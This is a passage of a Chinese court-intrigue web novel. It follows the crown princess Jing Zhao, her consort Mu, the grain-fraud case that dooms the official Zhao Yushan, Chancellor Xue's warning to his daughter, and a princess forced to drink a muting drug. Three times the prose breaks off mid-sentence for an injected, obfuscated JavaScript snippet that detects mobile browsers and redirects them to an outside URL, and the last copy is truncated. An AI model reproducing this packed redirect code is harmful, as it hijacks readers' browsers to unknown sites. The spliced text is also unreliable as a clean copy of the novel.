众丞相回头一看，只见脾气格外火爆的梁尚书飞起一脚，将一枚滚到脚边的鹅卵石踢飞：“嘿！碍事的东西！” 梁尚书兄长早逝，留下一个嫡亲侄儿，本来年少有为，不幸被卷入礼王风波，前途毁了一半，如今还蹉跎着。 几位丞相擦着汗，生怕梁尚书下一句直指棺材里那位，连忙转移话题：“啊，说来我侄儿年方二八，最是贤惠。” “我家那小儿子没福气，性情跳脱怕他闯祸，哎，柳令君，小柳今年该说亲了吧，做个亲家？” “不了不了，她今年怕是回不来，别耽误令郎。” “那我夫人还有个外甥……” 丞相们聊到一半，忽然想起还没出宫，立刻一个个皱眉捧心作悲痛状：“当年我那孽子还曾随母拜见过华阳宫……” 另一边，入宫哭临的夫人们则更为迫不及待。 丞相们虽然关怀子嗣婚姻，但终日忙于朝政，在儿女婚事上的用心实在有限。 缔结婚姻，一向都是夫人们花的心思更多。 三日哭临行将结束，对着出殿来代表太女慰问命妇的穆嫔，绝大部分命妇都表现出了一种扭曲的热情——既要强行作出不胜哀伤的神态，又极力表现出友善与亲近。 穆嫔抬眼，从人群中往远处看去，只见几位颍川穆氏的命妇不尴不尬站在那里，面色都有些僵硬。 颍川穆绵延数百年，齐朝时是北方顶级门楣。但枪打出头鸟，世家那一套在伪朝行不通，反而被杀得人丁凋零，衰微至极——事实上，自伪朝之后，北方世家几乎尽数凋零，虽然名声仍在，但子弟死伤殆尽、家业四散零落，仅剩虚名。 若是放在齐朝，不要说穆嫔只是太女嫔，就算当上了正妃乃至皇后，也没资格对着穆氏露出轻慢神色。 然而落地凤凰不如鸡，穆嫔此刻只是抬眼轻飘飘一望，立刻便有命妇会意：“穆老夫人是娘娘祖母，怎的不上前来？” 穆老夫人脸色难看，然而既然被点破了，再不上前就实在难看，只好打落牙齿和血吞，上前谦恭一拜：“老身见过娘娘，娘娘安好。” 穆嫔正欲风轻云淡微微一笑，想起如今还在太后丧仪，立刻压平唇角：“祖母和叔母们起来吧，不必多礼。” 她在外人面前，说话既徐且缓，咬字清晰，尽显东宫的教养礼仪。落在穆老夫人眼里，便是故意拿捏。 穆嫔柔声道：“祖母身体可好？” 穆老夫人心里早把穆嫔诅咒了千百遍，连带着东宫也怨上了。一边暗骂穆芳时这小蹄子得志便猖狂，一边暗骂东宫没有半点规矩，皇太女竟弄个女人放在东宫，也不怕将来闹出秽乱宫闱的丑闻。 她忍着怒气，谦卑说道：“老身尚算硬朗，有劳娘娘关怀。” 穆嫔说：“啊，那就好。” 她又问：“六郎和七娘可好？” 穆老夫人一顿：“六郎七娘都乖得很，只是想娘娘了。” 话音未落，穆嫔脸色便有些怪异，咬着嘴唇道：“那，六郎的病好了吗？” 什么六郎的病！ 那对孽障仗着他们姐姐攀上了东宫，竟在东宫的默许撑腰下搬进了皇太女赐给穆嫔的一处小宅子。穆老夫人想起来就觉得既丢脸又恼火，哪里会去过问！ 意识到穆嫔故意在话中使绊子，穆老夫人神情有些难看，强笑道：“小孩子家家的，身体壮实，娘娘不必担忧，养一养就好。” 她想圆场，旁边却多的是想要借机和穆嫔亲近的命妇，一位侍郎夫人便皱眉：“六郎是不是先天体弱？妾从前听说太女殿下曾经命张太医过府给六郎看诊，去了多次呢。” 穆嫔道：“是呢，胎里带出来的，好在太女殿下垂怜，允张太医为六郎调养，养了两三年才略有些起色，只是 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然而背后的目光变得更火热了。 . “妾就不明白了，有的夫人膝下压根没有未婚的儿子，来和我套什么近乎？” 承书女官接话：“有庶子呀。” “有的连庶子也没有。” “有侄子呀。” 穆嫔匪夷所思道：“那些庶子侄子的，他们亲爹亲娘连进宫磕头的机会都没有，还敢妄想？” “储妃不行，还有储嫔，再往下，还有承训、承徽、奉仪。” 同样是储嫔的穆嫔不悦道：“男人生不出孩子，那有什么用？” 朝中百官勋贵暗流涌动，无数双眼睛都盯着东宫正妃极力争取，那些命妇纷纷折节，很大原因也正在于此——东宫是女子，皇孙生父很难确定，若为妾侍，走父凭子贵的路线几乎没有可能，只能依靠宠爱为家族谋取利益。 但宠爱与否没人能说的准，正妃则不同，嫡母是所有子女的母亲，东宫正妃同样是所有皇孙的父亲。只要坐稳了正妃的位置，光耀门楣近在眼前。 承书女官默默看了穆嫔一眼，捧着文书转向景昭道：“殿下，都送来了。” 穆嫔好奇地问：“什么？” 景昭执着一把银剪，认真修理一盆山茶的枝叶。 这盆暖房中精心养出来的十八学士，似乎有些水土不服，几片叶片泛黄，被景昭尽数剪掉，一片片飘落在地上。 景昭侧首，认真观察着它，玄色领口露出修长雪白的脖颈，天光下白皙几近透明。 她随手撂下银剪，接过文书随意一翻。 既然没让穆嫔避退，说明不是一等一的绝密。穆嫔踮起脚，凑过来看了一眼。 书册刷刷刷翻过，穆嫔在其中敏锐捕捉到几张人像，虽然看不清，还是立刻警惕地睁圆了眼睛。 “这个怎么没有画像？”景昭翻书的手顿住。 穆嫔立刻定睛看去。 ——裴令之，江宁裴氏，年十七。 12.第十二章 “裴令之，江宁裴氏家主裴奉章嫡子，族中排行第七。” “南方年轻一代，名士领军人物共有四个：吴郡沈允，仪容清越、博学笃行；江宁裴七，风神秀彻、极擅词章；竟陵杨桢，出众风流、辩才无双；王氏三郎，气度高华、德高自持。” “裴令之极少现身人前，自从胞姐出嫁后，长期在外游学，鲜少归家。南方名士最重清谈，偏偏裴令之不喜与人交游，几乎不参与谈玄论道，故而名次落在第三。” 承书女官合上手中册子：“裴令之不常见人，上一次现身人前还是去年夏日，他的姐夫杨桢力邀他前往永怜渡游玩，与会者皆为世家子弟，所以没弄到可靠的画像。” 穆嫔的神情十分警惕。 景昭道：“不见人的名士，有意思。” 穆嫔阴暗地进上谗言：“这人是否有些不可告人的秘密，例如他其实很拿不出手，那些词章都是旁人代写。” “那倒不至于。”承书女官全然不懂穆嫔的心，认真解释，“江宁裴氏数百年门楣，文采风流冠绝南方，不缺才气纵横的子弟，裴令之更不是独子，他母亲顾氏过世多年了。如果裴令之无甚才华，强行养望只会适得其反，直接换个嫡脉子弟培养就是了。” 景昭淡声道：“他的资料不全倒也罢了，白身而已，记得再查查，还有么？” 承书女官道：“还有一件事，朝廷派往南方的官员中三年一轮替，今年又该重新换人。吏部那边透过风来，说程枫桥为官谨慎清正，考评在上等……” “不用。”景昭断然道,“该怎么评怎么评，让他回来。” 自家人知自家事，这么多年来，南方九州阳奉阴违，朝廷派往南边的官吏全都只能当神坛上泥雕木塑的菩萨，顺南方世家者昌逆南方世家者亡。 三年前景昭把十八学士中年纪最大也最小心谨慎的程枫桥派过去，是想在南方安插一双自己的眼睛，没指望让他以卵击石。同时也是看程枫桥身为大儒名宿之孙，家中父祖清贫忠耿，给他个发财的机会。 ——反正南方世家这笔钱花给谁都一样，与其让贪官吃饱，还不如便宜自己人。 程枫桥小心谨慎，又有景昭的吩咐在先，老老实实当了三年会喘气的活死人，拿个中庸的考评，趁着南方大乱前抽身回来，一切就很好。 承书女官应下。 穆嫔好奇道：“殿下怎么想起来研究南边了？是开始为九月南下做准备？” 景昭一笑，不置可否：“你随本宫去吗？” 穆嫔瞪大眼睛，喜悦道：“可以吗？妾自出生以来，还没有看过南方的景象风光。” 景昭本来只是随口一说，见穆嫔满脸喜悦期待，沉吟片刻，道：“你想岔了，路上不会舒服。” 穆嫔连忙道：“妾能吃苦头的，何况妾随行在侧，正好侍奉殿下起居，为殿下打理琐事。” 景昭道：“可能还有危险。” 穆嫔立刻焦急起来：“那妾就更要去了，殿下冒险南下，妾独自留在宫中，如何能安卧如常？还不如随从殿下同去，即使有些风险，至少可以心安。” 她央求地看着景昭，几乎要上手扯住景昭衣袖来回摇摆。 忽然只听殿外清淡足音快速靠近，侍从禀报道：“殿下，左庶子薛兰野求见。” 不但承书女官皱眉，就连穆嫔的脸上都露出了一种难以言喻的复杂神情。 “赵玉山是救过她的命吗？” 承书女官不尴不尬地强笑一声，试图缓和气氛：“小薛大人性情纯直，顾念情分，哈，哈，哈。” 她不开口还好，一开口气氛更为僵硬。 穆嫔被承书女官的僵笑笑得汗毛倒竖，偷眼望向景昭。 只见皇太女注视着一旁那盆山茶娇艳欲滴的柔嫩花瓣，玉白面容毫无表情，下颏线条流畅优美，却又锋利冷淡，像一把开刃的绝世名剑。即使还在鞘中，那种足以吹毛断发的冷厉寒光，已经足以让任何人为之心悸。 承书女官讪讪闭上了嘴：“殿下别气，微臣去打发了她。” “不必。”景昭平静说道，“本宫有什么可气的，本宫很高兴——这等蠢笨绝伦的人物，到现在只在东宫发现了这一个，可喜可贺。” 承书女官战战兢兢道：“小薛大人七岁入侍东宫，在一众伴读中年纪最小，殿下恩德似海，多加照拂，小薛大人心中亲近依赖殿下，视东宫属官为友，所以才……” “她七岁进来，比本宫还小两个月，向来没什么心眼。薛令君送她进来，是向父皇表忠心，也是想给她找个前程，结果找着找着，找了十年还没有多半点城府，分不清轻重缓急、是非与否。” 穆嫔倒是一惊。 她入宫不过三两年，对旧事知之不深，见景昭迟迟未曾发作薛兰野，只以为是看着薛丞相的面子，想不到还有这样一层关系在。 “本宫怜惜薛兰野年幼，照顾出来一个蠢货；看在锦书生前的情面上，对赵玉山多加照拂，赵玉山打着东宫的旗号，连下面的案子都敢胡乱插手——刑部已经把赵玉山带走了？” 承书女官连忙道：“是，太后薨逝的前一日，李侍郎亲自递话进来，说证据确凿，不得不动手拿人。” “还在审？” 承书女官稍微有点卡壳，稍一回想立刻道：“是，赵玉山插手的案子不但有京兆府的，还有京畿下辖县里的案子，需要抓人之后一一询问核实，花费的时间至少要半个月。” “该怎么审怎么审，该怎么动刑就怎么动刑。”景昭平静道，“传话过去，不用顾忌本宫的面子。” 承书女官微一犹豫，还是轻声提醒：“殿下，赵玉山获罪惊动刑部，是因为她牵涉在粮草案中……可能是要命的。” 景昭转过头，眼睛乌黑幽冷：“该要命就要命。” 承书女官打了个寒噤，连忙俯身一礼：“微臣这就去打发她。” 粮草案是建元九年朝中影响最大的一件案子，几乎震动了整个朝廷。 谈国公奉命领军出征，运粮官押送粮草赶往前线。为了保证运到边境时粮草足够，一路上人吃马嚼消耗掉的粮食，都要在途经各地的常平仓中补充。 行至并州时，当地州牧支支吾吾百般拖延，但军情如火岂容怠慢，运粮官察觉不对密奏朝廷，却被当地州牧栽赃，说他加倍索粮，百般催逼，甚至强迫官眷。 皇帝震怒，彻查此事，最后查出并州州牧多年来吞没常平仓储粮，私下与当地粮商勾结，操纵粮价，从中牟利。 并州州牧满门抄斩，全家用人头抵押了欠朝廷的债。皇帝又连下旨意，命各地彻查常平仓。 查来查去，将东宫司直赵玉山卷了进去。 赵玉山其母，曾为文宣皇后侍从，忠心耿耿护卫在侧，大楚立国后被封为四品诰命。后来其母过世，恳求东宫照拂女儿，赵玉山遂入东宫为司直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856195|159193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 司直为正七品东宫属官，品级不高地位却不同。要知道，薛丞相贵为首辅，他的长女薛兰野也才位居从六品东宫左庶子，虽比赵玉山高上一级，却是清贵职位，哪比得上司直手握实权。 赵玉山涉入粮草案的风暴，虽只是边缘风波，以她的品级并不足以牵涉极深，但随之挖出她曾依仗东宫旗号，插手刑案。 如此一来，涉及东宫颜面，唯有两条途径——要么大事化小，太女将其抹平——但粮草案牵涉上下干系甚大，朝中所有人都盯着，太女插手平白落人话柄——要么抛出赵玉山，从严处置，挽回东宫颜面，还能落一个秉公的清名。 景昭却摇摇头：“你去。” “我？”穆嫔茫然指着自己，“内外不相通。” 景昭道：“就是这个原因才让你去，我看看她还有没有脑子。她有没有脑子，决定了我接下来怎么对待她，要不要卖薛丞相面子。” 穆嫔一听，很是高兴，觉得自己作用奇大，忙不迭地提着裙摆往外走。 景昭叫住她：“等等，你问她一句话。” 薛兰野正在小厅中等候，脸上满是焦急忐忑的神情。 看见她的那一刻，穆嫔先愣了一下。 薛兰野今年十七，然而眼底还带着一点天真稚气，和穆嫔从前见过的柳知截然不同。 薛兰野慌慌张张站起身，手忙脚乱行礼，又连忙以衣袖掩面：“穆嫔娘娘。” 内外不相通的规矩摆在那里，后宫宫妃与前朝臣僚不得会面，并非只是因为维护皇家血脉清白。更重要的是，这是要禁绝内宫外朝互相勾结，从而蒙蔽圣听。 正因为此，即使后妃与臣僚都是女子，抑或都是男子，依然要遵守这条规矩。 薛兰野看着没什么心眼，规矩倒记得牢，她慌慌张张捂住脸，不像是看到了如花似玉的东宫储嫔，倒像是看见一个没穿衣服搔首弄姿的男人：“穆嫔娘娘，臣先回避。” 穆嫔敛去笑容，道：“小薛大人，殿下安歇了，特命我出来，请大人先回去吧。” 薛兰野茫茫然放下衣袖：“殿下……安歇了？” 穆嫔道：“小薛大人，殿下有一句话令我问你。” 薛兰野道：“娘娘请说。” 穆嫔肃容：“殿下听说，从前薛丞相研习典籍时，写出《东山笔录》这部书作为心得，天下闻名，世人推崇。《笔录》开篇，薛丞相援引了一段法家典籍，出自《韩非子·有度》，不知小薛大人还能背诵吗？” 薛兰野道：“臣一时不敢忘。” 穆嫔道：“既然如此，就请小薛大人回去仔细参详这篇典籍，再来求见吧。” . 薛兰野满头雾水，回到家中。 她与赵玉山年纪相仿，相识多年，在东宫一众臣僚中走得最近。谈照微为首的勋贵子女天然便与她们不是一个圈子，以柳知为首的文臣子女中，大半极为刻苦，又与她们格格不入。 赵玉山察觉自己事发时，趁着还没被下狱，连忙拉着薛兰野求见太女试图挣扎。然而正逢太后病重，迟迟未能面见太女，而今赵玉山一朝下狱，薛兰野的惊恐忧急自然不必多言。 她满腹忧思，进了家门。 继母刘夫人站在园子里，身后簇拥着大批婢女，见薛兰野回来，立刻招呼：“大娘，老爷从宫里回来就找你，命你速速去书房见他。” 薛兰野心下一凛。 13.第十三章 薛兰野拘谨地踏进书房。 从她幼年时产生记忆开始，父亲在妻儿面前永远是这幅和气的模样，即使犯了错，也只会耐心教导，几乎从未发过脾气。 与性情刚直的母亲，心思颇多的继母相比，温和的父亲无疑应该是更令孩子亲近的那个。但薛兰野面对父亲时，常常比面对绵里藏针的继母还要紧张。 “父亲，您找我。” 薛丞相放下手中的书：“坐。” 薛兰野恭恭敬敬坐下来。 “你大姐的次子快满月了，碍于国丧不好办酒宴，明日你去一趟，提前送些东西，把日子错开。” 薛兰野不料父亲开口先说的是这个，愣了一下：“是。” 薛丞相又问：“这几天我在宫中值守，无暇回家，怎么听说你也忙得不着家？” “女儿，女儿……” 薛丞相声调温和地问：“你与粮草案有所瓜葛？牵涉多深啊，要掉脑袋吗？” 薛兰野大惊失色，咣当一声推开椅子站了起来：“父亲明鉴，女儿怎敢！” 薛丞相又问：“那你是跟着赵氏，打着东宫旗号插手下边的刑案了？” “女儿万万不敢！” “哦。”薛丞相点头，温和问道，“那你削尖了脑袋往里扎，是为什么呢？” 薛兰野顿时明白，父亲已经知道了她竭力为赵玉山奔走一事，离席跪下：“女儿知道玉山犯了错，可事涉粮草案，一定会从重处置。” 薛丞相打断了她的话：“她做了没有？” 薛兰野不敢狡辩：“做了。” “这不就够了？”薛丞相平静说道，“敢做是她的胆子，能做是她的本事，被查出来依律惩处是她应有的下场，一切本该如此，不是吗？” 薛兰野心下一横：“父亲，她罪不至此啊！” 听到这句话，薛丞相眉头微动，神情有些失望，但这份失望薛兰野没有捕捉到，仍在陈词辩解。 “女儿与玉山相交多年，互为挚友。玉山获罪，但女儿若坐视不理，心底难安。法外亦有开恩的先例，女儿为她极力奔走，说不定能争取到恩典，减轻对她的责罚。若事成，女儿尽了朋友间的道义；若不成，女儿曾极力争取，亦可说问心无愧。” 薛丞相道：“朋友当切切偲偲，你为何不在赵氏犯罪前加以劝导，而要在获罪后才为她奔走。” 薛兰野有些难过：“女儿从前并不知晓。” 薛丞相说：“事先并不告知，事发后要你为她求情，这样看来，她并没有把你当做朋友。” 薛兰野更加难过，极力争辩道：“不是的，女儿与玉山自幼相识，在东宫同食同游、同起同卧，玉山对女儿照拂颇多，这份情谊怎能轻易割舍？” 薛丞相反问：“在东宫中过得好与不好，一是靠太女殿下的恩典，二是靠家中父祖的荫庇，三是靠自身才干与能力，与旁人又有何干？” 薛兰野咬紧唇瓣，没有反驳。但薛丞相眼光何等老辣，一眼便看出女儿的沉默并不情愿。 他长长吐出一口气，摇了摇头，叹道：“教子之道，我不如柳希声远矣！” 薛兰野牙齿用力，咬得更紧，嘴唇近乎苍白。 柳知这个名字，是东宫伴读中最耀眼的存在。 按理来说，她与柳知年纪相仿，同为文官之女，一同入侍东宫，天然便该抱团亲近。 然而越是相近，就越容易被比较，从而形成极大的反差。柳知光芒太盛，薛兰野一靠近，便觉得浑身不适，仿佛要被柳知的光芒灼伤。 薛丞相眼皮耷拉下来，失望至极，反而不想再继续说下去，只简单地道：“赵氏是倚靠亡母临终情面，太女开恩，所以才有入侍东宫的机遇。赵氏此举，对君不忠、对母不孝、对友不义、知法而乱法，你不用奔走求情了，赵氏必死无疑。” 此言如同晴天霹雳，咣当劈在了薛兰野头上。 “父亲……”她颤声道，“何至于此！” 薛丞相平静道：“时至今日，你竟然还认为赵氏的罪行在于卷入粮草案。” 不是吗？ 薛兰野茫然望着父亲。 任何时候，粮食与军机都是朝廷最紧要、最不容触碰的逆鳞。粮草案一口气同时戳中这两处死穴，由并州而发，牵连的官员遍及朝野上下，杀得人头滚滚。但凡沾上半点边，不死也要脱上一层皮。 “河阳郡主的独子也牵涉其中，只挨了一顿杖刑。” 河阳郡主是皇帝隔房的堂姐，早年守寡，一把年纪守着儿子过活，并没有什么权势。 为什么河阳郡主之子能够幸免，而薛丞相却给赵玉山下了必死的论断？ “粮草案不致命，赵氏那点能量，恐怕连知情的资格都没有。” 薛丞相从椅中站起来，居高临下地看着薛兰野：“她自己犯法，还有斡旋的余地；打着东宫旗号插手下面的案子，才是要命的关键。” “打着东宫的旗号为非作歹，等同于抹黑东宫的声誉而谋取自己的利益。身为臣僚蒙受大恩，却将主上的权威视为无物、名声看作等闲。既然她敢于践踏主上的声誉，那么主上的威严也不会再庇护她。” 薛兰野毕竟不是全然的蠢货，脸色顿时煞白如纸。 薛丞相看着她，淡淡道：“有些话说得太清楚不是好事，但你虚掷精力，平白揽祸事在身，我不与你一字一句说明白，只怕未来你要惹下祸事牵连全家——我问你，圣上为何行千古未有之事，设立萃英司专司拔擢女官？” 薛兰野低声道：“为了辅佐东宫。” “没错。”薛丞相道，“为了东宫。” “本朝承袭前朝正统，圣上厉兵沃马收复疆土，皇太女集景桓二姓血脉于一身，法统无可置疑，唯有女子立储前所未有，因此为人非议。” “自古以来，东宫地位所依傍的无非几点：天子信任、朝臣拥护、妻族母族。正是为了替太女打造一支无法背叛、绝对忠诚的力量，圣上才将目光落到了女官身上——因为她们无法背叛，她们必须忠诚，她们的一切来自于皇太女，没有别路可走。” 尝过权力无上甜美的滋味后，失去权力将会变成世上最痛苦的事。 如果连皇太女都不能坐稳储位，那么所有女官就会同时失去立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14865045|159193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足朝野的根本。女官们如果还想留在朝堂上，唯有誓死追随东宫一途可走。维护东宫的稳固等同于维护她们参政的权力，拼死抵挡抨击皇太女的风浪等同于极力抵抗针对她们的攻讦。 正是因为她们除了皇太女别无依靠，所以皇帝选中了她们。 说到这里，薛丞相有些感慨。 除了当今，还有哪位天子能够做成这等前所未有之事？ 当年皇帝于江南起事，他既是主上，又是谋主，乾纲独断指挥若定，那些不可一世的流民帅连世家都不放在眼里，偏偏奉皇帝有若天神。 这批统兵的流民帅，便是开国勋贵，皇帝下旨立储东宫、择选伴读时，勋贵们与以柳希声为首的寒门文臣纷纷响应。 此外，皇帝还做了一件事。 ——礼部尚书奉命修订继承爵位的律令，由嫡长子继承改为嫡长继承，长者优先，过往之事概不追究。五品以上官员荫庇子弟者，若嫡长子、嫡长女皆有，允许一同加恩。 这道旨意背后隐藏的深意，并非三言两语能够说清。但它迅速分裂了极力上书劝谏的高门文臣，从而迅速镇压所有反对声浪。 想到这里，薛丞相收回思绪，道：“明白么？” ——女官无法失去皇太女作为依靠，正如皇太女不能失去女官的支持。 但每一个女官都不能失去皇太女，皇太女却不需要在意一两个寻常女官。 “不要把自己看得太重。”薛丞相语气中已经带上了森然的警意，“女官存在的唯一意义是作为皇太女的臂助，当你们是一个整体时，你们的用处会非常大；当你们过分看重自身，从而顾影自怜时，你就变得一钱不值。北方能做女官的人才固然少，但京城中有些才气的女子仍然极多，不缺一两个。” “如果妄想着能够凭借女官的身份，获得东宫一而再再而三的容忍，那与找死没有任何区别。” 薛丞相冷然道：“你求见了皇太女几次？” 声音落在薛兰野耳畔，她的脸色已经极为难看，额头渗出细汗。 “……三次。” “召见你了吗？” “没有……但是今日，穆嫔亲自出来，和女儿说了两句话。” 薛丞相眉头蹙起，若有所思。 他听完薛兰野复述的话，眉头拧得更紧，长叹一声：“交众、与多，外内朋党，虽有大过，其蔽多矣……故有口不以私言，有目不以私视，而上尽制之。当年我为东宫授课，亲口讲过这一篇——太女殿下并非说给你，而是说给我听的。” “明日我会上书请罪，而后为你谋求一个外放的官职。听说柳知在南乡县做主官，你的才能不足为一地主官，就到附近的郡县做一个普通主簿……” 薛兰野失声：“父亲！” 她是丞相之女，侍从东宫，年纪轻轻已是从六品左庶子。一县主簿位卑职小，远离京城，一旦出去几时能够回来？ 薛丞相并不与她多言，寒声道：“退下，写一封请罪的文书，先呈给我看看。” 薛兰野泪水几欲滚落，看见父亲难得面带寒霜，终究不敢违拗，退了出去。 14.第十四章 午后，明德殿。 景昭倚在桌边，身披绣着浅淡银白云纹的深黛色外袍，左臂上标志守孝的素白麻布分外显眼。 她随手翻动朝会结束后从明昼殿带回来的奏折。很快从中抽出一本打开，正是薛丞相的请罪书。 看到结尾处，景昭沉吟片刻，提起朱笔饱蘸浓墨，在薛丞相的奏折上批了个‘准’。 那字迹秀润挺拔，笔端藏锋，与皇帝的字迹一般无二。 她拎起奏折对光看了看，颇为满意。 景昭八岁就开始随皇帝练字，她从前由母亲开蒙，柔仪殿虽说处处受限，但慕容诩对长乐公主有种别样的、惺惺作态的宠爱看重，各类书籍名帖从不缺少。 母亲最擅以清丽飘逸著称的郑体，景昭同样写得一手好郑体。八岁开始跟随皇帝练字后，皇帝并无意让景昭改习其他笔法。 确切来说，皇帝对景昭有种近乎荒谬的期待，他希望景昭身上一切承袭自母亲的东西都能够完整无缺的保留下来。然而笔体画风都还好说，唯独长相这件事不由景昭自己做主，令皇帝非常失望。 皇帝要求景昭反复摹写他的字迹，最好能够达到以假乱真的效果。 这当然不仅仅因为皇帝本身亦是书法名家，更不可能是皇帝自负胜过从前景昭学过的所有书法，背后隐藏着一种更深的意味。 景昭练了多年，平时示人以郑体，只在某些特定的时刻模仿皇帝写字。 别的不敢说，这个‘准’字她写了多年，足可乱真。就算书法名家齐聚于此，恐怕也分不清落笔者到底是谁。 景昭将薛丞相的奏折放回去，沉吟片刻，转头看向书案上另一摞尚未拆封的文书。 薛兰野的请罪书高居上首，景昭径直跳过，拆开了柳知的信。 柳知正在南乡主持分田。 历来分田都是大事，一地主官若只是骄奢盘剥，百姓还能勉强忍受。但田地关乎命脉，若是分田有半点不公，人头都能打出狗脑子来。 信里柳知的语气极为疲惫，据说来到南乡短短一年，她已经亲自出面调解过与分田相关的八起争端、十三起械斗，遭遇三次下马威、四次鸿门宴，自嘲活到今日全靠东宫和亲娘做靠山，再加上一点命硬。 再往下是谈照微的信。 出于某种目的，谈国公大胜之后，皇帝暂时封锁了消息，这也意味着谈照微一时半刻无法回京。信里谈照微详细记述了北方边境民生军务、种种见闻，一板一眼毫无私心。 唯有结尾处，加了一句与上文格格不入的话。 ——“春寒未褪，惟盼殿下善自珍摄。” 面前薛兰野、柳知、谈照微三人文书一字排开，景昭端起茶盏啜饮，停顿片刻，忽然极轻地一笑。 她的唇角微弯，嘲讽微显。 她的眼瞳盈亮，似有深意。 女人、男人。 宗亲、朝臣。 文官、勋贵。 世家、寒门。 每个人都将会是她的臣子，每个人都怀着自己的心思。 大部分时刻，他们那些心思会隐藏的很好。但在某些利益的驱使下，这些本该对立的派系反而会分外一致地联合起来，妄图迫使君主屈服。 养寇自重四个字，悄无声息地出现在景昭的心底。 诚然，这四个字用在此刻的他们身上，似乎有些严重。然而景昭幼年学习《孟子》，其中说‘是不为也，非不能也’。 这句话倒过来，便恰如其分。 ——是不能也，非不为也。 有些人不敢这样做，有些人能力不足以这样做，还有人想要追求其他的东西，所以不敢也不能这样做。 父皇还在一日，便能压制住所有人，可保天下安定。 那么终有一日，轮到她来面对的时候，她能做到吗？ 景昭凝视着书案前虚空中的一点，眉梢微微沉落。 似在思忖，又似出神。 良久，她抬起手，从那叠明昼殿带回来的奏折深处，抽出了一本约三指厚、貌不惊人的书册。 . 吱呀！ 房门开启，发出极轻的响声。 按理来说，寻常人几乎不会注意到这样轻的动静。然而下一秒，抱膝坐在昏暗角落里的少女抬起头来，眼底神光恍惚，毫无焦点，只遵循着本能望向门口。 礼王妃踏进门，看着女儿这幅神态，心底一恸，险些堕下泪来。 她最终还是忍住泪意，这些日子里，她的泪水已经流的太多了。 “云华。”礼王妃轻声唤道。 云华郡主迷蒙的眼神渐渐恢复清醒，这是由于禁闭太久无人交流而产生的恍惚失神。 面对母亲的呼唤，她咬紧了嘴唇，神情抗拒冷漠，却又有些情不自禁的依赖从眼角眉梢流露出来。 再如何胆大心狠，她终究是个十五岁的少女。遭受几日审讯幽禁后，本能地还是想要躲避在母亲羽翼下。 礼王妃几步走过去，仔细查看，确定女儿没有遭受过重的刑罚，这才松了口气。 紧接着，她的面上现出歉疚不忍。 “喝了这碗药。”礼王妃道。 门口两个侍从鱼贯而入，手中捧着铜壶与药碗。 云华郡主猝然睁大双眼：“什么意思？” 看着女儿往角落里不住蜷缩，礼王妃宽慰道：“放心，不是毒药，喝下它，从此之后，你的后半生还可以衣食无忧，安静活着。” 话虽如此，云华郡主心底却生出更多不祥的预感。 她与礼王世子的举动等同谋反，律法规定，如非宗室，夷灭亲族。即使她是宗室近亲，犯下这等大罪，也注定十死无生。 短短几日幽禁，云华郡主变得如此憔悴，多半便是受不住心底的恐惧，从而将自己吓成了这副模样。 那么母亲端来的这壶药会是什么？ “我不喝。”云华郡主颤声道，“我会死！” “不会！” 礼王妃断然道：“不会死，相信娘，这是我向圣上求来的恩典，只要你喝了它，圣上就允许你免除一死，遁入道观出家。” 她缓和了声气：“别怕，这只是一碗哑药而已。” 哑药？！ 云华郡主拼命摇头，双眼圆睁。 她自幼生于世家高门，从未吃过半点身体的苦楚，一举一动自有讲究，出行时一支发簪不够鲜妍，对她来说都极失体面。 喝了哑药，从此变成一个说不出话的哑巴，这对云华郡主来说简直太可怕了。她手足并用向后退去，然而她本就倚靠在墙边，根本无处可退，轻易便被侍从拦住。 礼王妃转过头去，不忍再看。 云华郡主的尖叫声如同啼血：“母亲，母亲！我不要喝药，你救救我，放开！放开！” 她拼命挣扎，终究不能挣开侍从的钳制。眼看汤药已经斟进碗里，侍从端着汤药逼近眼前，云华郡主几乎疯了，央求变作嘶喊：“你放开，你让他们放开！景煜呢？景煜在哪里，他也要喝么！” “他不用喝。”礼王妃侧过脸，强忍眼底泪意。 云华郡主需要喝，因为她只能以一个哑巴的方式活下去。 礼王世子不需要喝，因为他没有多少活着的日子了。 她知道女儿会怎样理解她的话，但当着这些皇帝派来的宫人，她一句话都不能多说。 九月下江南之前，礼王世子必须活着，并且要在世人眼中活得很好。 所以她这个做母亲的，如果还想保住自己的家族不受牵连，为自己的女儿捡回一条命，就只能缄默不语，沉默等待长子走向死亡的末路。 礼王妃一抹脸：“按住她，灌下去！” 不顾云华郡主的嘶声惊叫，两名侍从硬生生将药灌了下去。礼王妃试图去抱她却被推开，只能看着女儿满脸是泪剧烈咳嗽，伏在地上拼命呕吐，却只吐出了近似于鲜血的颜色。 礼王妃痛苦合眼，直到云华郡主倒在地上，剧烈喘息着张开口，却只能发出破碎的气声。 她蹲下身，抱住已经无力挣扎的云华郡主，在她的脊背上轻轻拍打两下。 “这是娘能为你做的最后一件事了。”礼王妃轻声说道，“活着，比什么都要紧。” . 活着比什么都要紧。 在遥远的南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 